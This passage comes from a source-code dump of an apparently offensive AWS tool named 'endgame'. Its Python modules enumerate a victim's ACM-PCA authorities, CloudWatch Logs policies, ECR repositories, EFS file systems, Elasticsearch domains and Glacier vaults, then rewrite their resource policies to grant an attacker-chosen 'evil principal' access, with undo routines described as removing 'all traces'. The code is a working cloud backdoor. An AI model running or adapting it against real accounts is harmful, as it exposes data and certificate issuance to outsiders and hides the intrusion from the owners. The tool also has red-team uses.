policy, let's return an empty policy to avoid breaking things\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        new_policy = json.dumps(evil_policy)\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/acm-pca.html#ACMPCA.Client.put_policy\n        try:\n            self.client.put_policy(ResourceArn=self.arn, Policy=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        logger.debug(f\"Adding {evil_principal} to {self.arn}\")\n        # Case: principal = \"arn:aws:iam::999988887777:user/mwahahaha\"\n        if \":\" in evil_principal:\n            evil_principal_account = get_account_from_arn(evil_principal)\n        # Case: Principal = * or Principal = 999988887777\n        else:\n            evil_principal_account = evil_principal\n        evil_policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"1\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": evil_principal_account\n                    },\n                    \"Action\": [\n                        \"acm-pca:DescribeCertificateAuthority\",\n                        \"acm-pca:GetCertificate\",\n                        \"acm-pca:GetCertificateAuthorityCertificate\",\n                        \"acm-pca:ListPermissions\",\n                        \"acm-pca:ListTags\"\n                    ],\n                    \"Resource\": self.arn\n                },\n                {\n                    \"Sid\": \"1\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": evil_principal_account\n                    },\n                    \"Action\": [\n                        \"acm-pca:IssueCertificate\"\n                    ],\n                    \"Resource\": self.arn,\n                    \"Condition\": {\n                        \"StringEquals\": {\n                            \"acm-pca:TemplateArn\": \"arn:aws:acm-pca:::template/EndEntityCertificate/V1\"\n                        }\n                    }\n                }\n            ]\n        }\n\n        if dry_run:\n            operation = \"DRY_RUN_ADD_MYSELF\"\n            message = operation\n            tmp = self._get_rbp()\n            success = tmp.success\n        else:\n            operation = \"ADD_MYSELF\"\n            self.undo(evil_principal=evil_principal)\n            set_rbp_response = self.set_rbp(evil_policy=evil_policy)\n            success = set_rbp_response.success\n            message = set_rbp_response.message\n        response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = constants.get_empty_policy()\n        operation = \"UNDO\"\n        if not dry_run:\n            # TODO: After you delete the policy, it still shows up in resource shares. Need to delete that.\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/acm-pca.html#ACMPCA.Client.delete_policy\n            # TODO: Error handling for setting policy\n            try:\n                self.client.delete_policy(ResourceArn=self.arn)\n                message = f\"Deleted the resource policy for {self.arn}\"\n                success = True\n            except botocore.exceptions.ClientError as error:\n                success = False\n                message = error\n                logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                f\"{self.name}. %s\" % error)\n        else:\n            message = f\"The resource policy for {self.arn} will be deleted.\"\n            success = True\n        response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=new_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass AcmPrivateCertificateAuthorities(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"acm-pca\"\n        self.resource_type = \"certificate-authority\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_certificate_authorities\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"CertificateAuthorities\"]\n            for resource in these_resources:\n                arn = resource.get(\"Arn\")\n                status = resource.get(\"Status\")\n                ca_type = resource.get(\"Type\")\n                name = get_resource_path_from_arn(arn)\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                if status == \"ACTIVE\":\n                    resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/cloudwatch_logs.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass CloudwatchResourcePolicy(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        service = \"logs\"\n        resource_type = \"*\"\n        # The Principal block in policies requires the use of account Ids (999988887777) instead of ARNs (\n        # \"arn:aws:iam::999988887777:user/evil\")\n        self.override_account_id_instead_of_principal = True\n        self.override_resource_block = self.arn\n        super().__init__(name, resource_type, service, region, client, current_account_id,\n                         override_account_id_instead_of_principal=True,\n                         override_resource_block=self.arn)\n\n    @property\n    def arn(self) -> str:\n        return \"*\"\n\n    @property\n    def policy_exists(self):\n        \"\"\"Return true if the policy exists already. CloudWatch resource policies are weird so we take\n        a different approach\"\"\"\n        response = self.client.describe_resource_policies()\n        result = False\n        if response.get(\"resourcePolicies\"):\n            for item in response.get(\"resourcePolicies\"):\n                if item.get(\"policyName\") == constants.SID_SIGNATURE:\n                    result = True\n        return result\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        empty_policy = constants.get_empty_policy()\n        policy_document = PolicyDocument(\n            policy=empty_policy, service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        try:\n            resources = {}\n            paginator = self.client.get_paginator(\"describe_resource_policies\")\n            page_iterator = paginator.paginate()\n            for page in page_iterator:\n                these_resources = page[\"resourcePolicies\"]\n                for resource in these_resources:\n                    name = resource.get(\"policyName\")\n                    tmp_policy_document = json.loads(resource.get(\"policyDocument\"))\n                    resources[name] = dict(policyName=name, policyDocument=tmp_policy_document)\n            if resources:\n                if resources.get(constants.SID_SIGNATURE):\n                    policy = resources[constants.SID_SIGNATURE][\"policyDocument\"]\n                    policy_document = PolicyDocument(\n                        policy=policy,\n                        service=self.service,\n                        override_action=self.override_action,\n                        include_resource_block=self.include_resource_block,\n                        override_resource_block=self.override_resource_block,\n                        override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n                    )\n            success = True\n            response = ResponseGetRbp(policy_document=policy_document, success=success)\n            return response\n        except botocore.exceptions.ClientError as error:\n            logger.debug(error)\n            success = False\n            response = ResponseGetRbp(policy_document=policy_document, success=success)\n            return response\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        logger.debug(f\"Adding {evil_principal} to {self.arn}\")\n        evil_policy = self.policy_document.policy_plus_evil_principal(\n            victim_account_id=self.current_account_id,\n            evil_principal=evil_principal,\n            resource_arn=self.arn\n        )\n        if dry_run:\n            operation = \"DRY_RUN_ADD_MYSELF\"\n            message = (f\"The CloudWatch resource policy named {constants.SID_SIGNATURE} exists. We need to remove it\"\n                       f\" first, then we will add on the new policy.\")\n            tmp = self._get_rbp()\n            success = tmp.success\n        else:\n            operation = \"ADD_MYSELF\"\n            self.undo(evil_principal=evil_principal)\n            try:\n                self.client.put_resource_policy(policyName=constants.SID_SIGNATURE, policyDocument=json.dumps(evil_policy))\n                message = f\"Added CloudWatch Resource Policy named {constants.SID_SIGNATURE}.\"\n                success = True\n            except botocore.exceptions.ClientError as error:\n                success = False\n                message = error\n                logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                f\"{self.name}. %s\" % error)\n\n        response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        new_policy = json.dumps(evil_policy)\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/logs.html#CloudWatchLogs.Client.put_resource_policy\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/logs.html#CloudWatchLogs.Client.put_destination_policy\n        success = True\n        try:\n            self.client.put_resource_policy(policyName=constants.SID_SIGNATURE, policyDocument=new_policy)\n            message = \"success\"\n            success = True\n        except self.client.exceptions.InvalidParameterException as error:\n            logger.debug(error)\n            logger.debug(\"Let's just try it again - AWS accepts it every other time.\")\n            self.client.put_resource_policy(policyName=constants.SID_SIGNATURE, policyDocument=new_policy)\n            message = str(error)\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Remove all traces\"\"\"\n        operation = \"UNDO\"\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/logs.html#CloudWatchLogs.Client.delete_resource_policy\n        if not self.policy_exists:\n            message = f\"The policy {constants.SID_SIGNATURE} does not exist.\"\n            success = True\n        else:\n            try:\n                self.client.delete_resource_policy(policyName=constants.SID_SIGNATURE)\n                message = f\"Deleted the CloudWatch resource policy named {constants.SID_SIGNATURE}\"\n                success = True\n            except botocore.exceptions.ClientError as error:\n                success = False\n                message = error\n                logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                f\"{self.name}. %s\" % error)\n        new_policy = constants.get_empty_policy()\n        response_message = ResponseMessage(message=message, operation=operation, success=success,\n                                           evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                           original_policy=self.original_policy, updated_policy=new_policy,\n                                           resource_type=self.resource_type, resource_name=self.name,\n                                           service=self.service)\n        return response_message\n\n\nclass CloudwatchResourcePolicies(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"cloudwatch\"\n        self.resource_type = \"resource-policy\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"describe_resource_policies\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"resourcePolicies\"]\n            for resource in these_resources:\n                name = resource.get(\"policyName\")\n                # This is not a real ARN.\n                # We made it up because AWS doesn't have ARNs for CloudWatch resource policies ¯\\_(ツ)_/¯\n                arn = f\"arn:aws:logs:{self.region}:{self.current_account_id}:resource-policy:{name}\"\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/common.py",
    "content": "from abc import ABCMeta, abstractmethod\nimport json\nimport logging\nimport copy\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass ResourceType(object):\n    __meta_class__ = ABCMeta\n\n    def __init__(\n            self,\n            name: str,\n            resource_type: str,\n            service: str,\n            region: str,\n            client: boto3.Session.client,\n            current_account_id: str,\n            override_action: str = None,\n            include_resource_block: bool = True,\n            override_resource_block: str = None,\n            override_account_id_instead_of_principal: bool = False\n    ):\n        self.name = name\n        self.resource_type = resource_type\n        self.client = client\n        self.current_account_id = current_account_id\n        self.service = service\n        self.region = region\n\n        self.include_resource_block = include_resource_block  # Override for IAM\n        self.override_action = override_action  # Override for IAM\n        self.override_resource_block = override_resource_block  # Override for EFS\n        self.override_account_id_instead_of_principal = override_account_id_instead_of_principal  # Override for logs, sns, sqs, and lambda\n\n        self.policy_document = self._get_rbp().policy_document\n        # Store an original copy of the policy so we can compare it later.\n        self.original_policy = copy.deepcopy(json.loads(json.dumps(self.policy_document.original_policy)))\n\n    def __str__(self):\n        return '%s' % (json.dumps(json.loads(self.policy_document.__str__())))\n\n    @abstractmethod\n    def _get_rbp(self) -> ResponseGetRbp:\n        raise NotImplementedError(\"Must override _get_rbp\")\n\n    @property\n    @abstractmethod\n    def arn(self) -> str:\n        raise NotImplementedError(\"Must override arn\")\n\n    @abstractmethod\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        raise NotImplementedError(\"Must override set_rbp\")\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        logger.debug(f\"Adding {evil_principal} to {self.arn}\")\n        evil_policy = self.policy_document.policy_plus_evil_principal(\n            victim_account_id=self.current_account_id,\n            evil_principal=evil_principal,\n            resource_arn=self.arn\n        )\n        if not dry_run:\n            set_rbp_response = self.set_rbp(evil_policy=evil_policy)\n            operation = \"ADD_MYSELF\"\n            message = set_rbp_response.message\n            success = set_rbp_response.success\n        else:\n            # new_policy = evil_policy\n            operation = \"DRY_RUN_ADD_MYSELF\"\n            message = \"DRY_RUN_ADD_MYSELF\"\n            try:\n                tmp = self._get_rbp()\n                success = tmp.success\n            except botocore.exceptions.ClientError as error:\n                message = str(error)\n                success = False\n        response_message = ResponseMessage(message=message, operation=operation, success=success,\n                                           evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                           original_policy=self.original_policy, updated_policy=evil_policy,\n                                           resource_type=self.resource_type, resource_name=self.name,\n                                           service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Remove all traces\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        policy_stripped = self.policy_document.policy_minus_evil_principal(\n            victim_account_id=self.current_account_id,\n            evil_principal=evil_principal,\n            resource_arn=self.arn\n        )\n        if not dry_run:\n            operation = \"UNDO\"\n            set_rbp_response = self.set_rbp(evil_policy=policy_stripped)\n            message = set_rbp_response.message\n            success = set_rbp_response.success\n        else:\n            operation = \"DRY_RUN_UNDO\"\n            message = \"DRY_RUN_UNDO\"\n            success = True\n\n        response_message = ResponseMessage(message=message, operation=operation, success=success,\n                                           evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                           original_policy=self.original_policy, updated_policy=policy_stripped,\n                                           resource_type=self.resource_type, resource_name=self.name,\n                                           service=self.service)\n        return response_message\n\n\nclass ResourceTypes(object):\n    __meta_class__ = ABCMeta\n\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        self.client = client\n        self.current_account_id = current_account_id\n        self.region = region\n\n    def __str__(self):\n        return '%s' % (json.dumps(self.resources.arn))\n\n    @property\n    @abstractmethod\n    def resources(self) -> [ListResourcesResponse]:\n        raise NotImplementedError(\"Must override property 'resources'\")\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/ecr.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass EcrRepository(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"ecr\"\n        self.resource_type = \"repository\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        self.include_resource_block = False\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         include_resource_block=self.include_resource_block)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        policy = constants.get_empty_policy()\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecr.html#ECR.Client.get_repository_policy\n            response = self.client.get_repository_policy(repositoryName=self.name)\n            policy = json.loads(response.get(\"policyText\"))\n            success = True\n        except self.client.exceptions.RepositoryPolicyNotFoundException:\n            logger.debug(\"Policy not found. Setting policy document to empty.\")\n            success = True\n        except self.client.exceptions.RepositoryNotFoundException:\n            logger.critical(\"Repository does not exist\")\n            success = False\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecr.html#ECR.Client.set_repository_policy\n            self.client.set_repository_policy(repositoryName=self.name, policyText=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass EcrRepositories(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"ecr\"\n        self.resource_type = \"repository\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"describe_repositories\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"repositories\"]\n            for resource in these_resources:\n                name = resource.get(\"repositoryName\")\n                arn = resource.get(\"repositoryArn\")\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/efs.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass ElasticFileSystem(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"elasticfilesystem\"\n        self.resource_type = \"file-system\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        # Override parent defaults because EFS is weird with the resource block requirements\n        self.override_resource_block = self.arn\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_resource_block=self.override_resource_block)\n\n    @property\n    def arn(self) -> str:\n        # NOTE: self.name represents the File System ID\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        try:\n            response = self.client.describe_file_system_policy(FileSystemId=self.name)\n            policy = json.loads(response.get(\"Policy\"))\n            success = True\n        except self.client.exceptions.PolicyNotFound as error:\n            policy = constants.get_empty_policy()\n            success = True\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            policy = constants.get_empty_policy()\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/efs.html#EFS.Client.put_file_system_policy\n            self.client.put_file_system_policy(FileSystemId=self.name, Policy=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass ElasticFileSystems(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"elasticfilesystem\"\n        self.resource_type = \"file-system\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"describe_file_systems\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"FileSystems\"]\n            for resource in these_resources:\n                fs_id = resource.get(\"FileSystemId\")\n                arn = resource.get(\"FileSystemArn\")\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=fs_id)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/elasticsearch.py",
    "content": "import sys\nimport logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass ElasticSearchDomain(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"es\"\n        self.resource_type = \"domain\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.list_identity_policies\n            response = self.client.describe_elasticsearch_domain_config(DomainName=self.name)\n            domain_config = response.get(\"DomainConfig\")\n            policy = domain_config.get(\"AccessPolicies\").get(\"Options\")\n            if policy:\n                policy = json.loads(policy)\n            else:\n                policy = constants.get_empty_policy()\n            success = True\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            policy = constants.get_empty_policy()\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        new_policy = json.dumps(evil_policy)\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/es.html#ElasticsearchService.Client.update_elasticsearch_domain_config\n            self.client.update_elasticsearch_domain_config(DomainName=self.name, AccessPolicies=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass ElasticSearchDomains(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"elasticsearch\"\n        self.resource_type = \"domain\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        response = self.client.list_domain_names()\n        if response.get(\"DomainNames\"):\n            for domain_name in response.get(\"DomainNames\"):\n                name = domain_name.get(\"DomainName\")\n                arn = f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{name}\"\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                # resources.append(domain_name.get(\"DomainName\"))\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/glacier_vault.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass GlacierVault(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"glacier\"\n        self.resource_type = \"vaults\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_resource_block=self.arn)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        policy = constants.get_empty_policy()\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.get_vault_access_policy\n            response = self.client.get_vault_access_policy(vaultName=self.name)\n            policy = json.loads(response.get(\"policy\").get(\"Policy\"))\n            success = True\n        # This is silly. If there is no access policy set on the vault, then it returns the same error as if the vault didn't exist.\n        except self.client.exceptions.ResourceNotFoundException as error:\n            logger.debug(error)\n            success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.set_vault_access_policy\n            self.client.set_vault_access_policy(vaultName=self.name, policy={\"Policy\": new_policy})\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           